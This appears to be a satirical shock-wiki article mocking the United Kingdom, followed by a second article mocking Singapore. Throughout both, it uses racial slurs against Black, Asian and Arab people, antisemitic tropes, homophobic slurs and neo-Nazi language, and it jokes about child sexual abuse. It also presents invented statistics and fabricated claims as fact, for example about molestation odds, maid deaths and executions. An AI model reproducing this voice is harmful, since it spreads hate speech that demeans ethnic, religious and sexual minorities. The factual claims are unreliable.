Indeed, so far down the primrose path to genetic perdition is Britain that when neo-Nazis protest in town centers, they are harassed by [[Underage B&|15-year-old girls]] pushing a buggy full of niglets from having been knocked up by a pedaristic spade (an offence of statutory rape). Bystanders are so hypnotised by the ZOG machine that they stand and applaud while the neo-Nazi is [https://www.dailymail.co.uk/news/article-3581295/My-daughter-s-mixed-race-booted-Moment-brave-mother-daughter-stood-neo-Nazi-protestors-advocating-free-white-Britain.html struck speechless with horror and flees, fearing for his own sanity.]
=== A Short List of European nations inferior to Britain ===

*[[Germans]]
*[[French]]
*[[Italians]]
*[[Austria|Austrians]]
*[[Swedish]]
*[[Norwegian]]
*[[Denmark|Legoland]]
*[[Finnish]]
*[[Dutch]]
*[[Iceland|Icelanders]]
*[[Belgium|Belgians]]
*[[Greeks]]
*[[Polish]]
*[[Irish]] (different from [[Northern Ireland]] for all of you dumbfuck [[Amerifags|yanks]])
*[[Estonia|Estonian]]
*[[Lithuania|Lithuanian]]
*[[Lesbian land|Lesbinian]]
*[[Latvia|Latvian]]
*[[Hungarian]]
*[[Sealand|Sealandic]]
*[[Switzerland|Swiss]]
*[[Serbian]]
*[[Spanish]]
*Slovakian
*Slovenian
*Luxembourgers
*Liechtensteiners
*Czechs

==Obesity==

UKunts are also famous for being extremely [[fat]]. The UK ranks at number ten on the worlds fattest country countdown, likely due to lack of exercise and high levels of crumpet eating. This is ironic, seeing as how the typical UK stereotype is that [[Americans]] are fat (not that many of them aren't, around 66% of Americans are obese).

==Ego==

The UK holds, without a doubt, the most annoying people on the planet. Everyone, from the 3-year-old to the ancient grandma talks in the worst accent known to man. Combining their terrible accent with how frequently they talk, they get the award. Most British, Irish, and Scottish accents sounds a high-pitched queef from a vagina that has been filled with cement combined with a retarded walrus with herpes in its mouth.

[[unwarranted self-importance| They have a syndrome, reinforced through education, parents and their fellow scumbag peers of being the best in the world because of a now long gone empire.]] They have not quite grasped the fact that all empires rise and fall, this false sense of importance constantly contributing to their image of being the [[lolcow|laughing stock]] of the rest of Europe.

Primitivity has to be considered. The UK is a slowly decaying country losing every possible form of human value. Their youth crime is one of the highest in Europe, and a charming night out will undoubtedly end up with a slap to the face and your phone stolen. Flocks of drunken [[slut|slags]] drift through the cold nights, clutching their high heels with one hand and straddling a cigarette with the other as they babble incoherently at passers-by.

Hypocrisy is an everyday part of life within British people. In the UK people have been brought up being told to not express their feelings and to be reserved. This hypocrisy often leads them to make jokes towards other individuals about what they really think of them; such hypocritical jokes being justified by the word 'banter'. British people find it very difficult to ever say to someone's face what they think of them, with their tiny little minds finding it difficult to comprehend actual empathy, they resort to this "banter" instead.

{{Quote| Haha yeah man, why are you, like, so fuckin' UGLY mate, haha yeah. Prat.| Decent banter}}

British are [[Jew|greedy]] [[brothel|shopkeepers]] who want Arabs to spend [[Jewgold]] buying their crap. But at the same time, they are too racist to tolerate Arabs walking/driving on their streets. Srsly they are grumpy about it and made this grumpumentary. They prefer the rich Arabs send in the [[Jewgold]] via mail order, rather than showing up in person. They believe they are being [[irony|colonized]].

{{frame|<youtube>JA_NoL9cTvk</youtube>|border=blue|background=red|margin=auto}}

Srsly tho, the vid above does show that Brits can be some of the greatest IRL [[trolling|trolls]] and provide lots of lulz.

==Chavs==
{{Main|Chav}}
[[Image:Taking dump in police helmet.jpg|200px|thumb| law abiding Briton (Yes, they are this [[stupid]])]]
Chavs are basically the [[Wigger|white version of niggers]], living off the state and smoking enough pot to turn your skin fluorescent. Instead of getting their pasty white asses a job or paying for their own home they would rather bitch about how hard their life is, try to rap, and spawn more children than [[Your Mom]], who will then live the exact same life as their parents with enthusiasm that makes Jesus cry. Such individuals are nonexistent in the rest of Europe, and these subhumans result in the English having a "hate syndrome" with one another, and no moral or dignified background.

[[File:Smokinglol.jpg|thumb|As seen in the above image, British women are the epitome of class.]]

==Things The British Hate==

#Practicing dental hygiene.
#Traffic
#The [[French]].
#Taking away the gallons of tea they drink everyday.
#The [[USA]].
#David Cameron.
#Eating good food.
#Sean Penn.
#The [[Germans]].
#Tipping.
#Piers Morgan.
#[[Cops]].
#The 4th of July.
#Saying something negative about the Royals.
#Children.
#[[Rednecks]].
#Tony Blair.
#Self-defense.
#Brussels.
#American football.
#The Scottish (which ''is'' part of the UK).
#[[Islam|Abu Hamza]].
#The Irish.
#[[Old people]].
#Halloween.
#The EU.
#[[Perez Hilton|Mario Armando Lavandeira, Jr]].
#Guns.
#The [[China|Chinese]]
#[[W|George Dubbya]].
#Toothbrushes.
#Toothpaste.
#The [[Scottish]]
#The Welsh
#Mouthwash.
#The [[Australians|Aussies]].
#Gordon Brown.
#Keeping sober.
#The [[Canadians]].
#Warm and sunny tropical weather.
#[[Shit|Hershey's Chocolate]].
#India.
#Themselves
#The [[Spanish]]
#[[You]].

==Famous Britfags==

*{{ytlink|S9-MmMvnwu8|SuprFgt}}
*[[CheekyBen]]
*[[Gary Glitter]]
*[[Gordon Brown]] - Ex-Prime Minister
*Deputy PM [[Nick Clegg]] & PM [[David Cameron]] — the first [[gay]] couple to be in office together
*[[Princess Diana]]
*[[Susan Boyle]]
*[[Tony Blair]]
*[[Jack the Ripper]]
*[[Margaret Thatcher]]
*[[Heather Howland]]
*[[UKIP|Nicholas Farage]]
*[[The Royal Family]]
*[[The Beatles]]
*[[Liverpool|Wayne Rooney]]
*[[Mr. Bean]]
*[[Gordon Ramsay]]
*[[Monty Python]]
*[[Gary Coleman|Sir Garrick Coleman of Stroke]]
*[[Soccer|David Beckham]]
*[[House|Hugh Laurie]]
*[[Rage|Russell Crowe]]
*[[Steve Irwin]]
*[[Kangaroo Jack]]
*[[Morrissey]]
*[[Jimmy Savile]] - If you are a Brit, there is a 2 in 10 chance that he has molested you
*[[Ed Balls]]
*[[Michael Ryan]]
*[[Derrick Bird]]

== History ==
[[File:Wicker man ritual.gif|thumb|Harvest festival in Derbyshire]]
[[Image:Union-jack.gif|thumb|220px|The Union flag]]
[[Image:English nazis2.png|thumb|220px|The Union flag according to /[[k/]]]]
===Early History===
Since [[before the Internets|earliest recorded history]], the evil [[ginger]] [[ebaumsworld|Barbarian tribes]] inhabiting the Kingdoms of [[Scotland]], [[Ireland]], and the Principality of [[Wales]] have been creating [[drama|havoc]] as a way to [[gangbang|gang up]] against one another.

Following the [[hangover|"Scottish Enlightenment"]] and [[slavery|Industrial Revolution]], Scotland became the world's dominant industrial and [[Pain|maritime]] power, playing a leading role in developing parliamentary [[demockery]] and in advancing [[Garfield|literature]] and [[TV|science]]. As hard as this is to believe if you've ever met a [[anus|shit]] eating '''Ned''' (as they prefer to be called), it may be explained when you consider that, like the Jew, the Scots are all [[Jew|skinflints]] when it comes to money.

Until recently, the Channel had kept all enemy [[i|invasion]]s at bay despite frequent 'pop-ins' from such diverse [[anon|party crashers]] as the:
*[[Roman Empire|Romans]]
*[[Vikings]]
*[[France|French]]
*[[Germany|Germans]]
*[[Denmark|Danes]]
*[[Norway|Norwegians]]
*[[Paki]]s.

However, most found the [[puke|British food]]--and obligatory [[piss|lukewarm beer]]--and weather to be so atrocious and [[snob|the people]] so thoroughly obnoxious that they would [[GTFO]] asap, leaving behind their cultural trappings, which the Brits then fashioned into a culture of their own.

===[[Epic Fail|The British Empire]]===
[[Image:Royals.png|thumb|300px|Which one of these crusty perverts is getting a blowjob from [[Madeleine McCann]] right now? SMS the number to 09011 32 22 to WIN! (*UK Residents only. Some conditions apply).]]

{{quote|"The sun never sets on the British Empire."|On 27 December 2008, the sun set on the British Empire at precisely 15:58.}}

{{quote|"...because [[God]] doesn't trust us in the dark."}}

After losing to some [[epic fail|closeted Frenchmen in the Battle of 1066]] and getting their asses taken over by the [[fags|perfumed fops]] of a foreign royal court, the British decided that it would be more fun if they were the ones doling out the [[faggotry]], instead of receiving it. Thus did the British [[attention whore|will to empire]]. There is no doubt this was the greatest [[period]] in British history and a victory for [[white people]] which would not end until the abolition of slavery.
[[Image:Wing Commander Roger Morewood.jpg|thumb|200px|left|This sort of man is why Britain was funnier than America.]]
[[File:British imperial officer uses bengali woman as transport.jpeg|200px|thumb|left|For King, country, and the lulz]]
At its peak, the [[old meme|British Empire]] covered over [[pwnt|one-fourth of the earth's surface]] and nearly one third of its population. Under [[The Royal Family|Queen Victoria]], the [[Army|British Army]] and [[drunk|Navy]] went forth to go where no man had gone before and kindly teach the filthy, godless natives--from the black person of Africa to the [[Jenkem|ripe smelling]] [[Indians|box-wallahs]] of India to [[rickroll|rickshaw]] pulling [[chinks]] of China--the wonders of [[whitey|civilization]] and the [[NO U|word of God]] using some good opium (and a lot of guns failing that). While they were at it, they trolled the fuck out of each nation they favored by making them convert to the British way. This included insisting that everyone drive on the wrong side of the road, speak [[Queening|the Queen's]] English and wear [[gay|suitable]] attire. They also installed bureaucracies in every government and private institutions that would provide enough [[bureaucratic fuck|red tape]] to ensure that the natives would never get restless, since they'd be preoccupied trying to throttle Gupta for having them fill out a form in triplicate to get a fucking train ticket.

[[Image:queenofengland2.jpg|thumb|220px|[[Winston Churchill]] showing his contempt for the British people.]]

Because the [[British]] have a long history of [[pwn|conquering]] [[n00b|helpless brown people]] in Third World shitholes, they have developed [[unwarranted self-importance|delusions of grandeur]] and believe that their empire was greater than it really was. It is a known [[fact]] that Britain's performance drops slightly when their opponents are other [[White]] people, apart from numerous British victories, which are nothing short of ownage.

Because of Britain's activities in sending degenerate [[DO NOT WANT|Irishmen]] to their colonies to fuck like beasts and [[New York|outnumber the local population]], resentment has been simmering against Britain around the world for some time. In particular, people in Africa seem upset about some [[shit nobody cares about|stupid shit that nobody really understands]] and some unpronounceable African dumbfuck word called apartheid, including the grandfather of the [[Barack Hussein Obama|President of the United States]]. [[Some argue]] that Obama, in classic black person tradition, will send his homies to pop a cap in the UK's collective ass as retribution for what it did to the father of the father that abandoned him as a baby, but this is mostly speculation.

===Decline===
Of course all [[win]] eventually turns into [[fail]] and the British Empire swiftly went downhill. The United Kingdom is no longer [[1337|considered an international superpower]] and the United Kingdom now spends its time split between trying to get [[chav]]s neutered and sending its youth to [[rape]] and pillage the [[Middle East]] at the request of its [[Fag|American]] cohorts because they [[Vietnam|fuck up without them around]]. Britons particularly despise the [[Israel|Israelis]] for their part in introducing their former King to Jew.

Ironically the UK is now trying to keep another [[EU|evil empire]] from taking over and ruining its ass. It's clear that the [[Nazi|Germans]], [[French]] and [[Dutch]] are just seriously jealous of the ex-prestige of this country.

==British Time==
[[File:Britfag Thread 7 Bong.jpg|thumb|left|Britfag culture.]]
[[File:Oi It's 7 Bong.jpg|thumb|A factual account of how the British tell the time.]]
[[File:Superior English Time.png|thumb|A rough guide to British time for any Americans.]]
Foreigners visiting Britain for the first time may notice that British people never seem to be wearing watches. Similarly, clocks are absent. This can prove disconcerting, until one realizes that clocks are, in fact, extinct in Britain and have been since the days of [[Bitch|Queen Victoria]], when they where hunted to extinction by [[steampunk|steampunks]] who plundered their innards to decorate their ugly clothes and fashion accessories with.

The only survivor of this nationwide [[holocaust|chronocaust]] is the huge clockface of the belltower of the Houses of Parliament in [[Londonistan]], affectionately known as Big Ben. It is thought that Big Ben was spared, not only due to it being too high for most to reach, but also because the immense size of its component parts made them unsuitable and impractical to attach to clothing, even for the most [[swag|ostentatious]] of [[steampunk|steampunks]].

Because of this, Big Ben fills a vital function in British life as it is their only way of knowing exactly what time it is. On the hour, whenever Big Ben chimes, an awed hush descends on the nation as every single Britfag stops whatever they are doing and listens intently, counting off the chimes on their fingers, before cheerfully and loudly announcing, for example, "[[U WOT M8|OI, IT'S 7 BONG!]]" for the benefit of those who might not be aware of what time it is.

Big Ben is to be destroyed by [[terrorists]] in the year 2020, as fortold in [[Alan Moore]]'s <s>graphic novel</s> movie, ''[[V for Vendetta]]'', plunging the nation into [[anarchy]] and confusion as to what time EastEnders is on tonight. In a desperate attempt to head off the fated catastrophe, [[David Cameron]] has devised a last-ditch plan to filter all [[internet|internet pr0n]] through BAE Detica blackboxes. Every fictional character portrayed in Britain will be interviewed to determine whether the sex she was having was consensual or not. Since when you think of it, sex is an adjunct to marriage, and marriage is a patriarchal institution, and therefore women are actually being coerced by a brutal economic system, any careful viewer should understand it is not. When every last man in Britain is put behind bars for three years, they cannot appear in Guy Fawkes masks and overthrow the government. Hmmm, unless the protesters in the movie were actually women? I never thot of that...

==How to Troll a British person==
[[Image:Chav.jpg|thumb|Say something nice about [[Tony Blair]].]]

*Although technically part of [[Europe]] (and a member of the [[EU]]) [[Some argue|some]] British people [[elitist|do not consider]] [[fucktards|themselves]] [[Eurofag]]s and will likely [[caveman|shove a broken bottle]] in your face if [[Americans|you]] point this fact out to them.
*Call them the niggers of Europe. You wouldn't be wrong in doing so because thats exactly who the British act like on holiday. They somehow can't keep their genitals in their pants or off their male friends proof: '''{{archive|WCVI3}}'''
*Ask them why they hate immigrants so much. Tell them that the immigrants coming in can only better the already extremely inbred British genepool and in the end possibly produce good looking British people for once.
*Say something bad about [[Princess Diana]].
*Remind them that Winston Churchill was legally American because his mom was born in Brooklyn, New York.
*Make jokes and stereotypes about the British which have not been used since the 19th century (see the [[English]] article for tips).
:*Bonus points if you constantly shout "BLIMEY!", "I SAY!" and "OH I DO BELIEVE I FANCY SOME SCONES!". This will cause the Brit to shit rage bricks. Watch out for his scalding hot tea.
*Make jokes about the Royal Family.
*Mention anything positive about the French.
*"Praise the Irish. Long live the IRA!"
*Tell them how you're [[American]] and how much more awesome [[Amerikkka]] is than Britain. You'll likely receive replies such as:
:*BOLLOCKS, I 'ATE THE BLOODY YANKS!
:*BLIMEY! WE 'AVE A YANK IN [[THE GAME]]!
:*GTFO YOU BLOODY YANK!
:*FUCK YOU YOU FAT FUCKING TWAT!
*Just know it will always have "yank" in it. Damn [[soviet|red]] coats
*Brits have got the monarchy, the US has the money, but I know that you wanna be [[DO NOT WANT|Canadian!]]
*English people hate foreigners, foreign languages and Americans, so trolling couldn't be easier! You don't even need to be able to speak a language, provided you speak fast enough in whatever [[Moonspeak|gobbly-garbage]] you're speaking, just play your role well enough and all the English people will do is just yell louder (because speaking slower and louder makes every language better).
:*Bonus points are awarded if you play a foreign hooker in Thailand or Amsterdam, so that your mark yells 'HOW MUCH FOR SEX?'
*If the word yank is used, respond along the lines of "Oh my, I haven't had anyone toss me off in awhile. Would you like to exchange [[twitter]] info and meet up IRL?" Most Britfags are homophobic and turning their gay little insult, into what it really is, will cause their puny minds to implode and the rage to flow.
*[[Truth|Point out the fact that they have no civil rights written down in any form of a constitution, and thus, have had their right to bear arms raped in an emergency act of parliament, just because someone shot a couple kids in a high school.]] Note that these members of parliament where probably elected to represent in ghettos they have never been to, due to the way British government is designed to rape immigrants. Also try and avoid the fact that their rights are actually present, just in a whole clusterfuck of documents as opposed to [[Constitution|one]], and that they are [[Irony|better protected by law]] from oppression by the [[W|political]] [[Obama|elite]]. Of course, they won't care to know about this. Why would they when they can watch X Factor?
*Run around and start screaming, [[Bullshit|"AMERICAN FOOTBALL IS THE BEST SPORT ON EARTH!"]] You will most likely be mugged and stabbed to death, especially by hooligan firms (which are mainly chavs).
*Let them know that even though the sun never sets on the British Empire, the lights in their cars don't work, thanks to Lucas Electric.
*Point out that two-thirds of the world's English-speakers are American, English-language culture is now dominated by Americans, and that the English identity barely exists anymore, having been mostly usurped and improved by Americans.
*Tell them how much the movie [[Mel Gibson|The Patriot]] is the greatest and most accurate war film evar.
*Explain to them that the Americans "save" them in every war and that they beg for our help.
*Bring up Gibraltar[https://www.telegraph.co.uk/news/worldnews/europe/gibraltar/10236507/The-Spanish-must-take-their-hands-off-Gibraltars-throat.html][https://www.theguardian.com/world/2013/aug/19/gibraltar-dispute-navy-warship-westminster]

== Why The British Suck ==

[[File:British Soldiers.jpg|center]]

#They don't practice proper dental hygiene.
#They smell funny.
#It rains too much in the UK.
#They always whine about [[France]].
#They still have an outdated, insignificant monarchy that doesn't give a shit about how their country is run as they suck their taxes dry.
#They drink too much.
#They're the leftover, butthurt descendants of people who saw the fall of their long gone, once-glorious and power empire.
#They're the fattest people in Europe.
#They let a bunch of niggers, sandniggers and [[China|chinks]] flood their country.
#They're ugly and look inbred.
#They coax and pamper their killers, drug dealers and rapists while sending them off to holiday camps for 2-5 years or so.
#They bitch constantly about how violently gun-loving [[America]] is even though they have the highest murder rate in Europe with repeated daily stabbings, muggings and gang-rapes.
#They have Piers Morgan.
#They talk in all sorts of annoying accents that rapes the ears.
#They're still butthurt because they lost the American Revolutionary War.
#They created [[Harry Potter]].
#Most of them are [[Snob|stuck-up]] [[cunts]].
#They violently fight and kill each other over football.
#They complain about [[Americunts]] being arrogant and thinking that they're the best people in the world, even though they act they same way themselves.
#Their politicians are spineless pussies.
#Their police are also spineless pussies.
#Most of them have inflated, fragile egos.
#They produced [[Simon Cowell]].
#They have disgusting food which is considered the worst in the world.
#They produced [[Gordon Ramsay]].
#They produced [[One Direction]]
#They spend endless days confined in their bedrooms posting bullshit, trolling comments on their shitty, British-run tabloid websites like the Guardian and the [[Daily Mail]].
#They made Amy Winehouse.
#They made The Beatles
#They're political correctness's capital of the world

=== Britland is convoluted as shit ===

*[[Commons:File:British_Isles_Euler_diagram_15.svg|Euler diagram]]

It is no wonder that people don't know where this stuff is located (and funny that Brits get pissy about it).

== Videos ==
 
<center>{{frame|<youtube>jBxC9O31TH8</youtube>
<center>'''The Antiques Roadshow is Britain's most British TV program'''</center>
|border=blue|background=red}}</center>
 
== Gallery ==
 
<center>
{{frame|<center><gallery perrow=5>
File:Britfag comic tommy cooper dies on live TV (april 15, 1984).jpg
File:Avon lady kills toyboy for pissing in her conservatory.jpg
File:Richmond golf club (london, england) - rules during wwii.jpg
File:British delicacy - gravy flavoured potato crisps.jpg
File:@Channel4News UK - mystery of why white areas have less crime.png|{{colortext|WHITE|Who's going to tell her?}}
File:Lutonthenadnnow.png
File:Meanwhile, in england.jpg
File:Shariahforbritan.jpg
File:UKverUS.jpg
File:Anglos Eat Babies.jpg
File:UKessense.jpg
File:Bob_grant_teeth.png
File:UK Cops Faggotry 238.png
File:UK Armed Forces Fagggotry.png
File:UK School Slave 2017.jpg
File:British cops sexually ahrassed by nonwhite scum.jpg
File:UKSS.jpg
File:UKUSlol.jpg
File:PolUKsum.png
File:Angloact.jpg
File:Godfrey bloom old school brit.png
File:Uk police priorities.jpg
File:Muslims 70% inbred in bradford uk.jpg
File:Britan Then And Now.jpg
File:Cops Swastika.png
File:Cops UK fags.png
File:UK Knife Laws.jpg
File:Briturd.jpg
File:UK Schlomo Anglo.jpg
File:UK Big Angloballs.jpg
File:Britanball Gun Ban.jpg
File:UK I was Like.jpg
File:UK Brexit Pepe.jpg
File:UK Polandball Toilet.jpg
File:UK Brexit reality.png
File:UK Queen MAGA.jpg
File:Watford gap, northamptonshire, uk.png|[http://www.streetmap.co.uk/map?x=458500&y=269500&z=0&sv=458500,269500&st=4&tl=Watford+Gap+in+Northamptonshire&mapp=map&searchp=ids {{colortext|WHITE|Watford Gap, Northamptonshire}}]
File:Police hit by "ooh betty" prankster.jpg|{{colortext|WHITE|Typical UK crime-wave}}
</gallery></center>|border=red|background=blue}}
</center>
 

==See also==
[[File:Omgbritish.gif|thumb|[[Typical]] Briton's reaction to this page.]]
*[[Abbey Road]]
*[[Britchan]]
*[[British Scum]] - A comprehensive guide to the 'people' of this [[gay|green]] and [[shitty|pleasant]] land.
*[[Britain's Got No Fucking Talent]]
*[[Brexit]]
*''[[Buck Bumble]]''
*[[Chav]]
*[[Cheeky Nando's]]
*[[Chuckle Brothers]]
*[[Daily Mail]]
*[[Europe]]
*[[Fat]]
*[[Keep Calm and Carry On]]
*[[Mornington Crescent]]
*[[Poppy Fascism]]
*[[Pussy]]
*[[Shanespannercock]]
*[[U WOT M8]]

== External Links ==
[[File:Framley examiner.png|thumb|right|150px|"Framley's Traditional Favourite Since 1978"]]
*'''{{archive|jS4us|A Guide to the UK}}'''
*'''{{archive|fKjCQ|British woman masturbates to death but the British way of death. Lolwut.}}'''
*'''{{archive|WCVI3|Typical British behaviour.}}'''
*'''{{archive|eyepv|Biscuits and nettles are considered assault weapons in Londonistan}}'''
*[https://www.manchestereveningnews.co.uk/news/greater-manchester-news/manchester-new-years-eve-pictures-10673770 Manchester celebrates New Year, very cool gallery of drunk britfags]
*[http://www.framleyexaminer.com/ ''The Framley Examiner''] - Britain's best local newspaper
*[https://www.bbc.co.uk/history/historic_figures/kitchener_lord_horatio.shtml War Criminal Lord Kitchener Horatio Drowned]
*{{wayback|http://encyclopediasupreme.org/pdf/Mahdishead.pdf|20160527111547|title=Lord Kitchener Horatio loved to dismember his enemies like Prophet Mahdi from 1896-1899 Soudan - UK War}}
{{Britfags}}
{{Commonwealth}}

{{timeline|Featured article June 27 & 28 [[2016]]|[[Mighty No. 9]]|United Kingdom|[[Rat]]}}
{{timeline|Featured article May 27 & 28, [[2017]]|[[ISIS]]|{{PAGENAME}}|[[Terrorism]]}}
{{timeline|Article of the Now September 8 & 9, [[2021]]|[[Supreme Court]]|[[United Kingdom]]|[[9/11]]}}
{{Timeline|Featured article August 18 and 19, [[2024]]|[[Susan Wojcicki]]|[[{{PAGENAME}}]]|[[Title IX]]}}

Singapore

2026-07-24T00:45:14Z

SmidgeX2:

{{Spoiler|SINGAPORE BANS CHEWING GUM AND LASHES HOMOSEXUALS WITH GLASS SHARD-TIPPED CANES!1}}
{{achtung|'''SLAVERY STILL EXISTS HERE AS A FORM OF [[Slavery|MAIDS]]! WE PUT THEM IN PARKS AT SUNDAYS ONLY. '''}}
[[Image:Singapore_Flyer.JPG|thumb|The Singapore Flyer, a very tall observation wheel. Which is a [[mind control|mind-controlling device]], in disguise, built by Lee Kuan Jew.]]

'''Singapore''' is a hermetically sealed corporate biosphere located between [[China]] and [[Malaysia]]. While the population is brainwashed to believe the 4-star joint (Chinese 7 star) is an independent [[Demockery|pseudo-republic]], the estate is in fact a Chinese Insular Outlying Territory, leased for 150 years by Beijing to His Perpetual Excellency Lee Kuan [[Jew]].

Owned by the [[China|Master Race]], the island is mostly an absolute clusterfuck of [[Malaysia|Malays]], [[India|Indians]] and slaves from the south. [[Niggers]] and [[Arab|the other kind]] are a rarity, and the majorly conservative white population play the honored role of vermin. Bangladeshis are to Singapore as the [[Russia|Russian]] are to Europe.

Surrounded by [[Terrorist|Muslim]] nations like [[Malaysia]] and [[Indonesia|Indonesia]], Singapore is under constant threat and is left paranoid and clutching a rusty knife behind its back.

==Language and Culture==
[[Image:Batman-bin-suparman.jpg|thumb|This Spore's ID reads, [[O rly|"Batman son of Suparman"]]. ]]
[[Image:Typical_Singaporean.jpg|thumb|[[Retard|Typical Singaporean]] under the delusion that no one dares to oppose him (a.k.a being an epic [[Fail|failure]])]]
Singapore has four official languages: Singlish, [[English]], [[Moonspeak|Malay, Chinese and Tamil]].

The Singaporeans, or Spores, have their own abortion of the English language known as "Singlish". It's most popular with the locals, despite the efforts of his Supreme Excellency Lee Kuan [[Jew]]. Ever since the [[United Kingdom|British]] abandoned the colony of Singapore, the immigrants decided to add [[moonspeak]] to English. Singlish is so complicated and stupid that it has an [[over 9000]] word article on [[Wikipedia]]. For example, all Singaporeans have the undying urge to add the word 'lah' or 'leh' at the end of every sentence. This is because they want to speak and sing at the same time.

The capital of Singapore is Singapore City, where all the [[Greedy|evil lawyers and supreme judges]] that make up 40% of the population live and work. Singapore is half the size of New York City but 888% cleaner and safer. This is because, very much like [[Malaysia]], the Singaporeans execute litter bugs, people who chew gum and drug smuggling [[Australia|Asstrailians]] on a weekly basis by hanging. In fact, hanging is an official national pastime and sport. Unlike the pussy [[Americunts]], who quietly waste thousands of gallons of poison to put a convict to sleep, Singaporeans [[BDSM|get off at seeing people suffering slowly and tenderly]].

Among other national pastimes are maid abuse, since 70% of marriages in Singapore either end up in the death of a maid, kidnapping of a child, or family suicide. [[poor|The latter is especially easy as 80% of the population live high-rise flats called HDBs]]. Which is another secret government project to control the population. It is very common to own a [[slave|maid]], in other words a [[slave]], in Singapore. 90% of the population that isn't poor, which is 100% of the population as the government executes bums and hobos, has a slave in the household. This is an attribute picked up by their ancestors from the British who had Indian slaves.

==Religion==

Singapore's religious scene is one gigantic fucking gang bang. [[Shota|Churches]], [[Terrorist|Mosques]], [[Buddha|Monasteries]], [[wut|Taoist temples]], and even Jew plague the island nation. Despite claiming that it is a multi-cultural society, [[LOL|Jehovah's Witnesses is officially a banned religion]]. Without Lee Kuan Jew's supreme leadership, Singapore would be another part of the [[Muslim|Islamic Empire]].

==Government==
[[Image:Singapore rofr.jpg|thumb|right|In Singapore, corruption is legal. [http://www.google.com/hostednews/ap/article/ALeqM5jnULe8i45Ph9CxIrX-HzdYXsv6RAD9E7Q8502 Chewing gum though, is not].]]
[[Image:Lee_Kuan_Yew.jpg|thumb|left|Lee Kuan Jew, the Supreme and outright leader of Singapore.]]
Singapore is under the leadership of his Supreme Excellency Lee Kuan Jew and his son Prime Minister Lee Hsien [[longcat|Loong]]. Together, they use Singapore as a big money making generator to feed their ever growing wallets. Prime Minister Lee Hsien [[longcat|Loong]] earns S$1,958,000 a year, he achieves this by lowering taxes but having secret tax traps everywhere else. One form of this secret taxing is sneakily placing ERP (Every Road Pay (Electronic Road Pricing)) gantries all over roads that lead in and out of Singapore City to tax the [[Greedy|evil lawyers and supreme judges]].

To protect Lee Kuan Jew's money, the government has two years of forced [[military|national service]] for all males who are 18 years old. If [[you]] chose to default, Lee Kuan Jew will personally [[ban|ban and exile]] you from his country or jail you till you rot. This is also an effective method for detecting [[homosexual|faggots]]. Once a faggot is detected, he is filed under Category 302 and discretely put into a position in the armed forces where there are no other [[fags]] for 100 miles and has no access to military intelligence. Since all Muslims are [[terrorists]] and [[9/11|suicide bombers]], they would not prove effective against other terrorists from neighbouring [[Islam|Malaysia and Indonesia]]. Thus most Muslims are posted in the Police Force to serve their national service. Lee Kuan Jew knows that Muslims with guns equals [[terrorists]].

Because Singapore is surrounded by the [[Islam|Islamic Empire]], Lee Kuan Jew has no other choice but to dump what's left of his S$1,958,000 into the Singapore Armed Forces. Since most Singaporeans have [[Retard|extremely low IQ]], most are given positions like truck driver or combat engineer. The result is an army of truck drivers and engineers.

Archeologists debate the true age of this [[Oldfag|bag of bones]], but [[Noone]] can even remember how he came to be. Stories of him permabanning people from life for possession of catnip, [[Sick_fuck|public masturbation]] and other [[IRL trolling|lulzy shenanigans]] have been passed down through the oral tradition of bards so he is assumed to be of [[over_9000|seniority]].

The government also enjoys banning random shit for no apparent reason. They also enjoy not offering a reason for why they ban the random shit that they do.

==Singapore Airlines==
[[Image:Singapore_Girl.jpg|thumb|A handful of clones from The Grand Army of Singapore Airlines. Known as, "Singapore Girls".]]
Singapore is most known by its elitist international airlines, Singapore Airlines(SIA). [[Nobody_gives_a_fuck|It boasts a first world airport, Changi Airport, in Singapore. It also was the first to fly the A380 commercially]]. All of the air stewards are either failed beauticians, ex-hookers or clowns; as they are always seen with a face full of make up that is at least an inch thick. Flights only enter Singapore. No one ever leaves Singapore. Singapore Girls are also known as flying whores, as they provide for the tourists who come visit the lovely island that is Singapore and never leave.

The silly [[Australia|Australians]] and [[Canadia|Canadians]] had to ban SIA from entering their airports because they [[victim complex|felt threatened]] by the competition.

==Summary of Singapore==
- Chewing gum is banned. Nobody knows why, but it is. Possession is fine [[wtf|as long as it's not for retail]]. 
- Hanging convicts occurs so often that [[nobody cares|nobody even cares anymore]]. 
- [[BDSM|Caning]] is a favorite pastime for cops on the island.
- [[America|Likes to stick its nose in places where it doesn't belong]] 
- Is better off than the rest of South East Asia 
- Has ridiculous laws and [[police|police enforcement]] 
- Has a threatening elitist airlines 
- Singaporeans are closet racists. 
- Singaporeans are whiny bitches over how [[fact|their life sucks]].
- Is [[Nazi|the most globally approved nanny state]]

==Lulzy Shit==

- The best way to troll the Stinkapore Police Farce is to keep asking them where the fuck [http://en.wikipedia.org/wiki/Mas_Selamat_bin_Kastari Mas Selamat] is. Update: He is in Malaysia Jail now after a year escaping from the Singapore Police. Update 2 : He was caught by *Malaysian* police, who refuse to extradite him on grounds of 'national security'. Proves that the Malaysian authorities can get the job done with far lower pay than their Singaporean counterparts (i.e. cheap).

- Another way to troll them is to just hold up a smiley face you drew on some cardboard, that's enough to get you v&.

==Additional Singaporean Fun==
===Hip and cool===
It's possible to troll typical Singaporeans by telling them:

1.Typical Singaporeans are humorless cunts.

2.There was no word for "creativity" in their language until the [[white_devils|British]] squatted there.

3.All 3 Singapore Idol winner are Malays, even though Malays are a minority in Singapore (the lazy-ass Chinese majority don't even bother to vote because the show is shit).

4.The life time ambition of all Singaporean women is to marry, date or at least get knocked up by Ang Moh (slang for Jew).

5.If a Singaporean loses their job, they blame their government, immigrants, foreign expatriates, ur mom, etc. instead of acknowledging the fact that they are simply a ambitionless cunt.

6. Miss Singaporean 2009 is a [[slut]], a [[thief]], a [[liar]] and an ex-convict. She is also [[stupid|unable to spell]] ex-convict. Makes for serious lulz.

==Singapore, the Second Israel of Asia==
{{Quote|Israel–Singapore relations are foreign relations between Israel and Singapore. Relations between the two countries are extremely cordial, and they are known to share a Special Relationship.}}

Like [[Japan]], Singapore is a special kind of country, small, no resources and surrounded by enemies

'''SIMILARITIES BETWEEN ISRAEL AND SINGAPORE:'''
* Both countries are surrounded by [[batshit insane]] [[Muslim]] nations that could destroy them at anytime.

* Both invest too much in their Air Force

* In both countries, all Muslims are made to go for a year of reconditioning and torture to prevent terrorist attacks. Sweden tried it but it was just a kiddy palace (Swedes let certified terrorists run around killing infidels).

* Extremely fucking rich (WITH JEWS YOU LOSE).

* Both are massive arms-dealers.

* The Jewnited States gives all 3 free military equipment.

* Though all three love acting all "Multicultural" and "Tolerant", Japan, Singapore and Israel are all secretly extremely racist!

* All citizens are mind-controlled.

* Average IQ of all of them is about 120.

==See Also==
*[[China]]
